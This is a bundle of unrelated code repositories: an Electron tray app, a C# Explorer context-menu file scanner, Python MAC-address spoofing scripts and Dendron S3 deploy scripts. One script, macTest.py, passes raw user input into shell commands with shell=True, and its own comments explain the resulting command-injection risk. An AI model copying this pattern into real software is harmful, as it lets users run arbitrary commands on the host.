<repo_name>clayperez/CCP-Boilerplate<file_sep>/app/electron.js ////////// // MAIN // ////////// /// SIMPLE MENU BAR APP BOILERPLATE 'use strict'; const {app, BrowserWindow, ipcMain, Tray, nativeImage} = require('electron') const path = require('path') const url = require('url') const resourcesDir = path.join(__dirname, './resources') let tray = undefined let win = undefined app.on('ready', () => { console.log(resourcesDir) let icon = nativeImage.createFromPath(path.join(resourcesDir,'App Icon22@2x.png')) tray = new Tray(icon) tray.on('click', function(event) { toggleWindow() }); win = new BrowserWindow({ width: 250, height: 250, show: false, frame: false, resizable: false, }) win.setMenu(null); win.loadURL(url.format({ pathname: path.join(__dirname, 'index.html'), protocol: 'file:', slashes: true })) win.on('blur', () => { if(!win.webContents.isDevToolsOpened()) { win.hide() } }) }) const toggleWindow = () => { if (win.isVisible()) { win.hide() } else { showWindow() } } const showWindow = () => { const trayPos = tray.getBounds() const windowPos = win.getBounds() let x, y = 0 if (process.platform == 'darwin') { x = Math.round(trayPos.x + (trayPos.width / 2) - (windowPos.width / 2)) y = Math.round(trayPos.y + trayPos.height) } else { x = Math.round(trayPos.x + (trayPos.width / 2) - (windowPos.width / 2)) y = Math.round(trayPos.y + trayPos.height * 10) } win.setPosition(x, y, false) win.show() win.focus() } ipcMain.on('show-window', () => { showWindow() }) ipcMain.on('show-devtools', () => { win.openDevTools({mode: 'detach'}) }) app.on('window-all-closed', () => { if (process.platform !== 'darwin') { app.quit() } }) <file_sep>/README.md # CCP-Boilerplate
467730a22290b0239c3d934a24430a45bf49a9ac
[ "JavaScript", "Markdown" ]
2
JavaScript
clayperez/CCP-Boilerplate
48167b91d03a7dffdace828548db1d195aa8c55a
821000eec0c27c86f08c100769bba13ae39a0b32
refs/heads/master
<file_sep>using System; using System.IO; using System.Collections; using System.Text; using System.Collections.Generic; namespace FileSystemScanner { public class IniParser { private Dictionary<SectionPair, string> keyPairs = new Dictionary<SectionPair, string>(); private struct SectionPair { public string Section; public string Key; } /// <summary> /// Opens the INI file at the given path and enumerates the values in the IniParser. /// </summary> /// <param name="iniPath">Full path to INI file.</param> public IniParser(string iniContent) { string currentRoot = null; string[] keyPair = null; StringReader reader = new StringReader(iniContent); string strLine = reader.ReadLine(); while (strLine != null ) { if (strLine != "") { if (strLine.StartsWith("[") && strLine.EndsWith("]")) { currentRoot = strLine.Substring(1, strLine.Length - 2); } else { keyPair = strLine.Split(new char[] { '=' }, 2); SectionPair sectionPair; string value = null; if (currentRoot == null) currentRoot = "ROOT"; sectionPair.Section = currentRoot; if (keyPair.Length == 2 && keyPair[0] != "" && !strLine.StartsWith("<")) { sectionPair.Key = keyPair[0]; value = keyPair[1]; } else { sectionPair.Key = Guid.NewGuid().ToString(); value = strLine; } keyPairs.Add(sectionPair, value); } } strLine = reader.ReadLine(); } } /// <summary> /// Returns the value for the given section, key pair. /// </summary> /// <param name="sectionName">Section name.</param> /// <param name="settingName">Key name.</param> public string GetSetting(string sectionName, string settingName = "") { SectionPair sectionPair; sectionPair.Section = sectionName; sectionPair.Key = settingName; return keyPairs.ContainsKey(sectionPair) ? keyPairs[sectionPair] as string : ""; } /// <summary> /// Returns section data as string /// </summary> /// <param name="sectionName"></param> /// <returns></returns> public string GetSection(string sectionName, string ident = "") { StringBuilder builder = new StringBuilder(); string[] secStrs = EnumSectionValues(sectionName); foreach (string value in secStrs) builder.Append(ident + value + "\r\n"); return builder.ToString(); } /// <summary> /// /// </summary> /// <param name="sectionName"></param> /// <returns></returns> public string[] EnumSectionValues(string sectionName) { ArrayList tmpArray = new ArrayList(); foreach (SectionPair pair in keyPairs.Keys) { if (pair.Section.Equals(sectionName, StringComparison.InvariantCultureIgnoreCase)) tmpArray.Add(keyPairs[pair]); } return (string[])tmpArray.ToArray(typeof(string)); } /// <summary> /// Enumerates all lines for given section. /// </summary> /// <param name="sectionName">Section to enum.</param> public string[] EnumSection(string sectionName) { ArrayList tmpArray = new ArrayList(); foreach (SectionPair pair in keyPairs.Keys) { if (pair.Section.Equals(sectionName, StringComparison.InvariantCultureIgnoreCase)) tmpArray.Add(pair.Key); } return (string[])tmpArray.ToArray(typeof(string)); } /// <summary> /// Adds or replaces a setting to the table to be saved. /// </summary> /// <param name="sectionName">Section to add under.</param> /// <param name="settingName">Key name to add.</param> /// <param name="settingValue">Value of key.</param> public void AddSetting(string sectionName, string settingName, string settingValue) { SectionPair sectionPair; sectionPair.Section = sectionName; sectionPair.Key = settingName; if (keyPairs.ContainsKey(sectionPair)) keyPairs.Remove(sectionPair); keyPairs.Add(sectionPair, settingValue); } /// <summary> /// Adds or replaces a setting to the table to be saved with a null value. /// </summary> /// <param name="sectionName">Section to add under.</param> /// <param name="settingName">Key name to add.</param> public void AddSetting(string sectionName, string settingName) { AddSetting(sectionName, settingName, null); } /// <summary> /// Remove a setting. /// </summary> /// <param name="sectionName">Section to add under.</param> /// <param name="settingName">Key name to add.</param> public void DeleteSetting(string sectionName, string settingName) { SectionPair sectionPair; sectionPair.Section = sectionName; sectionPair.Key = settingName; if (keyPairs.ContainsKey(sectionPair)) keyPairs.Remove(sectionPair); } } }<file_sep>using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Text; using System.Text.RegularExpressions; namespace FileSystemScanner { public class ScanObject { public object Item; public int Level; public long Size; public int Count; public ScanObject(object item, int level, long size, int count) { Item = item; Level = level; Size = size; Count = count; } } public class Toolbox { public static bool IgnoreHidden { get; set; } public static bool IgnoreSystem { get; set; } public static string FilesToExclude { get; set; } public static string FoldersToExclude { get; set; } public static DateTime StartTime { get; set; } private static bool FitsMask(string fileName, string fileMask) { Regex mask = new Regex( '^' + fileMask .Replace(".", "[.]") .Replace("*", ".*") .Replace("?", ".") + '$', RegexOptions.IgnoreCase); return mask.IsMatch(fileName); } private static bool ItemIsValid(string itemName, FileAttributes attrs, string excludeMask) { if ((IgnoreHidden && attrs.HasFlag(FileAttributes.Hidden)) || (IgnoreSystem && attrs.HasFlag(FileAttributes.System))) { return false; } else if (!string.IsNullOrEmpty(excludeMask)) { return !(excludeMask .Split(new string[] { "\r\n", "\n", ",", "|", " " }, StringSplitOptions.RemoveEmptyEntries) .Any(fileMask => FitsMask(itemName, fileMask))); } return true; } public static List<ScanObject> Scan(string path, ref long size, ref int count, int level = 0) { List<ScanObject> list = new List<ScanObject>(); // if it's a file, skip tree scanning if (File.Exists(path)) { var fi = new FileInfo(path); if (ItemIsValid(fi.Name, fi.Attributes, FilesToExclude)) list.Add(new ScanObject(fi, level, fi.Length, 1)); return list; } // otherwise scan directory tree ScanObject thisDir = null; var di = new DirectoryInfo(path); if (ItemIsValid(di.Name, di.Attributes, FoldersToExclude)) { thisDir = new ScanObject(di, level, 0, 1); // add directories first try { var dirs = di.GetDirectories(); foreach (var d in dirs) { long thisSize = 0; int thisCount = 0; list.AddRange(Scan(d.FullName, ref thisSize, ref thisCount, level + 1)); size += thisSize; count += thisCount; thisDir.Size += thisSize; thisDir.Count += thisCount; } // than files var files = di.GetFiles(); foreach (var fi in files) { if (ItemIsValid(fi.Name, fi.Attributes, FilesToExclude)) { list.Add(new ScanObject(fi, level + 1, fi.Length, 1)); size += fi.Length; count++; thisDir.Size += fi.Length; thisDir.Count++; } } if (thisDir != null) list.Insert(0, thisDir); } catch { } } return list; } public static string ConvertData(List<ScanObject> items, string template) { StringBuilder result = new StringBuilder(); IniParser parser = new IniParser(template); var files = items.Where(s => s.Item is FileInfo).Select(s => s).ToList(); var folders = items.Where(s => s.Item is DirectoryInfo).Select(s => s).ToList(); // Get formatting settings string timeFormat = parser.GetSetting("Format", "timeformat"); if (!string.IsNullOrEmpty(timeFormat)) try { var test = DateTime.Now.ToString(timeFormat); } catch { timeFormat = ""; } char identChar = '\t'; string ics = parser.GetSetting("Format", "identchar"); if (!string.IsNullOrEmpty(ics)) { if (ics == "\t") identChar = '\t'; else if (ics == "\n") identChar = '\n'; else if (ics == "\r") identChar = '\r'; else if (!char.TryParse(ics, out identChar)) identChar = '\t'; } int identCount = 1; int.TryParse(parser.GetSetting("Format", "identcount"), out identCount); // Work on file header string header = parser.GetSection("Header"); header = header.Replace("{%scandate%}", DateTime.Now.ToString()); if (folders.Count > 0 || files.Count > 0) { var driveInfo = new DriveInfo(folders.Count > 0 ? (folders.First().Item as DirectoryInfo).FullName[0].ToString() : (files.First().Item as FileInfo).FullName[0].ToString()); header = header.Replace("{%volumelabel%}", driveInfo.VolumeLabel); header = header.Replace("{%filesystem%}", driveInfo.DriveFormat); } header = header.Replace("{%itemcount%}", items.Count.ToString()); header = header.Replace("{%foldercount%}", folders.Count.ToString()); header = header.Replace("{%filecount%}", files.Count.ToString()); // get file types var fileTypes = parser.EnumSectionValues("FileTypes").Zip(parser.EnumSection("FileTypes"), (first, second) => new { first, second }).ToDictionary(val => val.first, val => val.second); // get templates var fileTemplate = parser.GetSection("FileItem"); var dirTemplate = parser.GetSection("DirectoryItem"); int prevLevel = 0, dirLevelCount = 0; foreach (ScanObject item in items) { FileInfo fileInfo = item.Item as FileInfo; DirectoryInfo dirInfo = item.Item as DirectoryInfo; string ident = new string(identChar, item.Level * identCount); // close directory tag if (item.Level < prevLevel) { for (int i = dirLevelCount; i > item.Level; i--) { result.Append(parser.GetSection("DirectoryItemFooter", new string(identChar, (i - 1) * identCount))); dirLevelCount--; } } // get item template var itemBody = fileInfo != null ? fileTemplate : dirTemplate; itemBody = ident + itemBody.Replace("\r\n", "\r\n" + ident); itemBody = itemBody.TrimEnd(identChar); string fileType = ""; if (dirInfo != null) { dirLevelCount++; } // Get file type else if (!string.IsNullOrEmpty(fileInfo.Extension)) { var key = fileTypes.Keys.FirstOrDefault(k => k.Contains(fileInfo.Extension.Substring(1))); if (key != null) fileType = fileTypes[key]; } // Do the job: just do a simple replace of variables by data itemBody = itemBody.Replace("{%name%}", fileInfo != null ? fileInfo.Name : dirInfo.Name); itemBody = itemBody.Replace("{%fullname%}", fileInfo != null ? fileInfo.FullName : dirInfo.FullName); itemBody = itemBody.Replace("{%path%}", fileInfo != null ? Path.GetDirectoryName(fileInfo.FullName) : Path.GetDirectoryName(dirInfo.FullName)); itemBody = itemBody.Replace("{%itemcount%}", fileInfo != null ? "" : item.Count.ToString()); itemBody = itemBody.Replace("{%bytesize%}", fileInfo != null ? fileInfo.Length.ToString() : item.Size.ToString()); itemBody = itemBody.Replace("{%size%}", fileInfo != null ? BytesToString(fileInfo.Length) : BytesToString(item.Size)); itemBody = itemBody.Replace("{%created%}", fileInfo != null ? fileInfo.CreationTime.ToString(timeFormat) : dirInfo.CreationTime.ToString(timeFormat)); itemBody = itemBody.Replace("{%modified%}", fileInfo != null ? fileInfo.LastAccessTime.ToString(timeFormat) : dirInfo.LastAccessTime.ToString(timeFormat)); itemBody = itemBody.Replace("{%extension%}", fileInfo != null ? fileInfo.Extension : dirInfo.Extension); itemBody = itemBody.Replace("{%type%}", fileType); result.Append(itemBody); prevLevel = item.Level; } // close opened dir tags for (int i=dirLevelCount; i>0; i--) result.Append(parser.GetSection("DirectoryItemFooter", new string(identChar, (i-1) * identCount))); result.Append(parser.GetSection("Footer")); // for the performance testing, process "elapsed" variable header = header.Replace("{%elapsed%}", DateTime.Now.Subtract(StartTime).TotalSeconds.ToString("0.0")); result.Insert(0, header); return result.ToString(); } static string BytesToString(long byteCount) { string[] suf = { "B", "KB", "MB", "GB", "TB", "PB" }; if (byteCount == 0) return "0" + suf[0]; long bytes = Math.Abs(byteCount); int place = Convert.ToInt32(Math.Floor(Math.Log(bytes, 1024))); double num = Math.Round(bytes / Math.Pow(1024, place), 1); return (Math.Sign(byteCount) * num).ToString() + suf[place]; } } } <file_sep>using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Windows.Forms; using System.Reflection; using SharpShell.Attributes; using SharpShell.SharpContextMenu; using System.Diagnostics; namespace FileSystemScanner { [ComVisible(true)] [COMServerAssociation(AssociationType.AllFiles)] [COMServerAssociation(AssociationType.Directory)] public class FileInfoExtension : SharpContextMenu { Dictionary<string, string> templates = new Dictionary<string, string>(); public FileInfoExtension() { // read templates var startupPath = Path.GetDirectoryName(Assembly.GetExecutingAssembly().CodeBase).Substring(6); var files = Directory.GetFiles(startupPath, "*.template"); foreach (var file in files) try { templates.Add(Path.GetFileNameWithoutExtension(file), new StreamReader(Path.Combine(startupPath, file)).ReadToEnd()); } catch { } } protected override bool CanShowMenu() { return SelectedItemPaths.Count() > 0; } protected override ContextMenuStrip CreateMenu() { // create the menu strip. var menu = new ContextMenuStrip(); var topMenuItem = new ToolStripMenuItem { Text = "Scan selected files..." }; foreach (var t in templates) { var templateMenuItem = new ToolStripMenuItem { Text = "Scan to " + t.Key, Tag = t.Key }; templateMenuItem.Click += ScanFiles; topMenuItem.DropDownItems.Add(templateMenuItem); } menu.Items.Add(new ToolStripSeparator()); menu.Items.Add(topMenuItem); menu.Items.Add(new ToolStripSeparator()); // return the menu. return menu; } private void ScanFiles(object sender, EventArgs e) { var template = templates[(sender as ToolStripMenuItem).Tag as string]; if (!string.IsNullOrEmpty(template)) { IniParser parser = new IniParser(template); bool ignoreHidden = true, ignoreSystem = true; bool.TryParse(parser.GetSetting("Format", "ignorehidden"), out ignoreHidden); bool.TryParse(parser.GetSetting("Format", "ignoresystem"), out ignoreSystem); Toolbox.IgnoreHidden = ignoreHidden; Toolbox.IgnoreSystem = ignoreSystem; Toolbox.FilesToExclude = parser.GetSection("ExcludeFiles").Replace("\r\n", ""); Toolbox.FoldersToExclude = parser.GetSection("ExcludeFolders").Replace("\r\n", ""); Toolbox.StartTime = DateTime.Now; // scan all selected files List<ScanObject> list = new List<ScanObject>(); foreach (var filePath in SelectedItemPaths) { long size = 0; int count = 0; list.AddRange(Toolbox.Scan(filePath, ref size, ref count)); } // display result var result = Toolbox.ConvertData(list, template); var tempFileName = Path.Combine(Path.GetTempPath(), string.Format("filescan_{0:MMddyy_HHmmss}.txt", DateTime.Now)); try { File.WriteAllText(tempFileName, result); Process.Start("notepad.exe", tempFileName); } catch (Exception error) { Debug.WriteLine(error.Message); } } } } } <file_sep>using System; using System.IO; using System.Collections.Generic; using System.Diagnostics; using FileSystemScanner; namespace UnitTest { class Program { static void Main(string[] args) { if (args.Length == 2) { string template = string.Empty; if (File.Exists(args[0])) { try { template = new StreamReader(args[0]).ReadToEnd(); } catch (Exception e) { Console.WriteLine("Error reading template file " + args[0] + ". Exception: " + e.Message); return; } } if (Directory.Exists(args[1])) { IniParser parser = new IniParser(template); bool ignoreHidden = false, ignoreSystem = false; bool.TryParse(parser.GetSetting("Format", "ignorehidden"), out ignoreHidden); bool.TryParse(parser.GetSetting("Format", "ignoresystem"), out ignoreSystem); Toolbox.IgnoreHidden = ignoreHidden; Toolbox.IgnoreSystem = ignoreSystem; Toolbox.FilesToExclude = parser.GetSection("ExcludeFiles").Replace("\r\n",""); Toolbox.FoldersToExclude = parser.GetSection("ExcludeFolders").Replace("\r\n", ""); Toolbox.StartTime = DateTime.Now; // scan folder long size = 0; int count = 0; List<ScanObject> list = Toolbox.Scan(args[1], ref size, ref count); // build output string result = Toolbox.ConvertData(list, template); Debug.WriteLine(result); Console.WriteLine(result); } else Console.WriteLine("Invalid directory specified in arguments"); } else Console.WriteLine("Use: UnitTest.exe [templateFileName] [directoryToScan]"); } } } <file_sep># FileSystemScanner ## Shell extension menu for the template-based file system scan <html><head> <p class="c2"><span></span></p><p class="c2"><span></span></p><p class="c13"><span class="c6">1. Variables (Files/Folders):</span></p><p class="c2"><span></span></p><a id="t.daea2f8fc3eadeb35b2b83449ef348af037d3971"></a><a id="t.0"></a><table class="c20"><tbody><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c10"><span class="c16 c6 c12">Variable</span></p></td><td class="c17" colspan="1" rowspan="1"><p class="c10"><span class="c16 c6 c12">For Files</span></p></td><td class="c17" colspan="1" rowspan="1"><p class="c10"><span class="c16 c6 c12">For Folders</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Item (file or folder) name as seen by Explorer (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c3">{%name%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c3">{%name%}</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Item full name including a full path (string)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%fullname%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%fullname%}</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Item path without name (string)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%path%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%path%}</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Number of items inside the folder. (</span><span class="c14">number</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c12">-</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%itemcount%}</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Size in bytes (</span><span class="c14">number</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%bytesize%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Size (human friendly) with suffixes &#39;B&#39;, &#39;kB&#39;, &#39;MB&#39; ,&#39;GB&#39;, &#39;TB&#39; etc. (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%size%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Date of creation in &ldquo;yyyy-mm-dd&rdquo; format (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c3">{%created%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>Date of modification in &ldquo;yyyy-mm-dd&rdquo; format (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c3">{%modified%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>File extension. If no extension, should explicitly use &ldquo;unknown&rdquo; (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%extension%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr><tr class="c9"><td class="c18" colspan="1" rowspan="1"><p class="c7"><span>File type detected based on the file extension. File types: &ldquo;audio&rdquo; (mp3, aac, mpa etc.), &ldquo;video&rdquo; (avi, mkv, mp4, mpeg etc.), &ldquo;text&rdquo; (txt, doc, srt, sub etc.). If not detected by extension, should explicitly use &ldquo;unknown&rdquo;</span><sup><a href="#cmnt1" id="cmnt_ref1">[a]</a></sup></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span class="c3">{%type%}</span></p></td><td class="c4" colspan="1" rowspan="1"><p class="c10"><span>-</span></p></td></tr></tbody></table><p class="c2"><span></span></p><p class="c13"> <span class="c6">2. Variables (scan):</span></p><p class="c13"><span>The act of scanning (taking snapshot) may have it&rsquo;s own set of variables. For example with XML output the root element - &lt;scan&gt; - may have some attributes like date of scanning and media info (volume label, file system etc). This approach assumes that all selected files and/or folders reside on the same volume/drive. Even though it is technically possible to feed to the scanning application two files/folders residing on different drives/volumes, the program should detect the scan variables based on the FIRST received item only. All the remaining items in the selection should be processed without detecting the parameters of the volume they are residing on.</span></p><p class="c2"><span></span></p><p class="c2"><span></span></p><a id="t.83ceed99883298e356e8b96117d00707c8158828"></a><a id="t.1"></a><table class="c20"><tbody><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c16 c6 c12">Variable</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10 c30"><span class="c6 c12 c16"></span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span>The date scanning took place in &ldquo;yyyy-mm-dd&rdquo; format (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%scandate%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span>The volume label/id on which the scanned files/folders reside (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%volumelabel%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span>The filesystem of the volume the scanned files/folders reside: NTFS, FAT32, EXT4 etc. (</span><span class="c14">string</span><span class="c5 c12">)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%filesystem%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Count of items (total) processed in the scan (number)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%itemcount%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Count of folders processed in the scan (number)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%foldercount%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Count of files processed &nbsp;in the scan (number)</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%filecount%}</span></p></td></tr><tr class="c9"><td class="c1" colspan="1" rowspan="1"><p class="c7"><span class="c5 c12">Scan time in seconds (number), for debug purposes and performance testing</span></p></td><td class="c1" colspan="1" rowspan="1"><p class="c10"><span class="c5 c3">{%elapsed%}</span></p></td></tr></tbody></table><p class="c2"><span></span></p><p class="c2"><span></span></p><p class="c13"><span class="c6">3. Features:</span></p><ul class="c28 lst-kix_up2ryue3bsgg-0 start"><li class="c11"><span>Program should be launched by context menu over the selection of files and/or folders. The context menu may have nested submenu with entries for each available format template (XML, HTML, JSON etc.)</span></li><li class="c11"><span>Recursively ignore special &amp; hidden system files (desktop.ini, thumbs.db, .htaccess etc.) while iterating over the selected items. It may be necessary to implement the ignore list (using MS-DOS-like file masks - for example *.ico, f?ck.txt)</span><sup><a href="#ftnt1" id="ftnt_ref1">[1]</a></sup></li><li class="c11"><span>Launching the program directly (without passing a selection of files/folder) starts the program with template-editing UI. The template(s) may be saved either in windows registry or as file(s) residing in the same folder as the program&rsquo;s executable file.</span></li><li class="c11"><span>Launching the program directly (especially - for the first time) should check whether it is set to run as a service</span><span class="c19">4</span><span>, check the necessary registry keys (for context menu functionality) and set them up if necessary. Modal dialog/alert may be required to display the meaningful message: &ldquo;First run detected. Configuration is complete!&rdquo;</span></li></ul><p class="c2"><span></span></p><h2 class="c13 c29" id="h.dal0197pl26f"><span>Important note</span></h2><p class="c13"><span>Files and folders with a special (i.e administrators) permissions will be not processed until host process, explorer.exe will be restarted with the administrator&#39;s credentials and permissions. These items will be skipped in scan.</span></p><p class="c2"><span></span></p><p class="c2"><span></span></p><p class="c13"> <p class="c2"><span></span></p><p class="c2"><span></span></p><hr class="c27"><div><p class="c8"><a href="#ftnt_ref1" id="ftnt1">[1]</a><span class="c22">&nbsp;Ignored files and folder will not processed at all: i.e. not included in folder total size and items count. You may use regular expressions for the file and folder masks.</span></p></div></body></html> ## Installation This shell extension is using [SharpShell project.](https://github.com/dwmkerr/sharpshell) To **install**, run **install.cmd** from the "Install" directory. For **uninstalling**, run **uninstall.cmd** script.
555d1fd33d4d4cb300624bdbb6917619e42d4383
[ "Markdown", "C#" ]
5
C#
XelaNimed/FileSystemScanner
ce26958232e73bec81c5a65df4151988fd91f626
14711df5e60a491a224ae96490a3d6beaf506cdb
refs/heads/master
<repo_name>xK0D3/cs<file_sep>/macTest.py #!/usr/bin/env python3 import subprocess avad = input('Wanted Interface: \n>>> ') ally = input('Wanted MAC Address: \n>>> ') print('[+] Changing MAC address for '+ avad +' to ' + ally) subprocess.call('ifconfig '+ avad +' down', shell = True) subprocess.call('ifconfig '+ avad +' hw ether ' + ally, shell = True) subprocess.call('ifconfig '+ avad +' up', shell = True) # Alright Ill try to explain what is going on better. # Basically, if you want to change the mac (technically spoof but I dont want to confuse you any more than I have to) address, you type 3 commands into the console. # We do this to shut down the interface so that we can edit it: # ifconfig (This says that you want to change something to do with the networks) wlan0 (this is the nam eof the interface that im using, the wifi card) down (this turns it off so that we can edit it.) # Then we do this to actually change it: # ifconfig (Again) wlan0 (Again, specifying which interface we want to change) hw (Too complex and doesnt matter, just ignore it) ether (Same story as with hw) "new mac" (Whatever you want your new mac address to be) # Finally we want to turn the interface back on, doing the same thing as shutting it down, but using "up" instead of "down" # ifconfig wlan0 up # You can see where in the subprocess.call lines we are putting in these commands but instead of wlan0 and the new mac address, its variables that substitute user input # Basically this scripts just runs 3 commands, while asking which interface and what new mac you want. That way you dont have to type each of those commands on their own. # You dont really have to understand any of that in order to reconize the security risk. All you really have to know is that the user is *putting in their own inputs* which gets *directly inserted* into the *commands getting send to the terminal*. # And basically you can do anything in the terminal, which is why its always the hacker's first goal when breaking into a system, to get into command prompt or the terminal. From there they can do anything, including browsing files.<file_sep>/macAddressChanger.py #!/usr/bin/env python3 import subprocess import optparse import re def getArguments(): parser = optparse.OptionParser() parser.add_option('-i', '--interface', dest = 'interface', help = 'Interface to change its MAC address') parser.add_option('-m', '--mac', dest = 'newMac', help = 'New MAC address') (options, arguments) = parser.parse_args() if not options.interface: parser.error('> Please specify the interface, use --help for more information.') if not options.newMac: parser.error('> Please specify the new MAC address, use --help for more information.') return options def changeMac(interface, newMac): print('> Changing MAC address for {} to {}'.format(interface, newMac)) subprocess.call(['ifconfig', interface, 'down']) subprocess.call(['ifconfig', interface, 'hw', 'ether', newMac]) subprocess.call(['ifconfig', interface, 'up']) def getCurrentMac(interface): ifconfigResult = subprocess.check_output(['ifconfig', interface]) macSearch = re.search(r"\w\w:\w\w:\w\w:\w\w:\w\w:\w\w", str(ifconfigResult)) if macSearch: return macSearch.group(0) else: print('> Could not read MAC address') options = getArguments() currentMac = getCurrentMac(options.interface) print('> Current MAC Address: {}'.format(currentMac)) changeMac(options.interface, options.newMac) currentMac = getCurrentMac(options.interface) if currentMac == options.newMac: print('> MAC address was successfully changed to {}'.format(currentMac)) else: print('> MAC address change failed. Try again.')
226eba5cc2328773432151eab287d1f21a6428d8
[ "Python" ]
2
Python
xK0D3/cs
e256c4bf98b4a96464eeae11bdf21e31d32fddc8
99da61133e592636fd021ed4bc4e1219baca7a1a
refs/heads/main
<repo_name>kevinslin/kevin-dendron-workspace<file_sep>/scripts/sync_assets.sh bucketDst="publish-prod-publishsitebucket2dec72b8-13jdn4suxs1a2" user=kevinslin ws=default #aws s3 sync docs/assets "s3://$bucketDst/$user/$ws/assets" --size-only aws s3 cp docs/assets/images/2021-03-16-08-52-27.png "s3://$bucketDst/$user/$ws/assets/images/2021-03-16-08-52-27.png" <file_sep>/scripts/sync.sh #bucketDst="publisher-prod-publishsitebucket2dec72b8-n6ou86bjhyko" bucketDst="publish-prod-publishsitebucket2dec72b8-13jdn4suxs1a2" user=kevinslin ws=default aws s3 sync docs/notes s3://$bucketDst/$user/$ws/notes --delete --exclude ".git/*" aws s3 cp docs/index.html "s3://$bucketDst/$user/$ws/" aws s3 cp docs/nav.html s3://$bucketDst/$user/$ws/nav.html aws s3 cp docs/assets/js/search-data.json s3://$bucketDst/$user/$ws/assets/js/search-data.json <file_sep>/scripts/deploy.sh ./scripts/build.sh ./scripts/sync.sh ./scripts/invalidate.sh<file_sep>/scripts/build.sh LOG_LEVEL=error dendron-cli buildSiteV2 --wsRoot . --stage prod --enginePort `cat .dendron.port` <file_sep>/scripts/commit_and_push.js #!/usr/bin/env node const path = require("path"); const execa = require('execa'); const root = "/Users/kevinlin/Dropbox/Apps/Noah" const dirs = [ "vaults/dendron-dev-vault", "vaults/dendron-private", "vaults/yc-vault", "vaults/public-vault", "vaults/business-vault", "vaults/people-vault", "vaults/dendron-vault", "vaults/dev-vault", "vaults/aws-vault", "notes", "dev" ] async function main() { return await Promise.all(dirs.map(async ent => { const fpath = path.join(root, ent); console.log("updating", fpath); try { await execa('/Users/kevinlin/go/bin/gitupdate', ['.'], { cwd: fpath, shell: true }); await execa('git', ['pull'], { cwd: fpath, shell: true }); await execa('git', ['push'], { cwd: fpath, shell: true }); console.log("finish updating", ent) } catch (err) { console.log("no updates", ent); } })); }; main();
a8f3185c1439c6f6b8ac00f7e51d1ca328619756
[ "JavaScript", "Shell" ]
5
Shell
kevinslin/kevin-dendron-workspace
62d23a2fd52aa3194075f8994ab000530d3fdaa8
ce2cb61d784211e17245d868400d461e977c761a
refs/heads/master
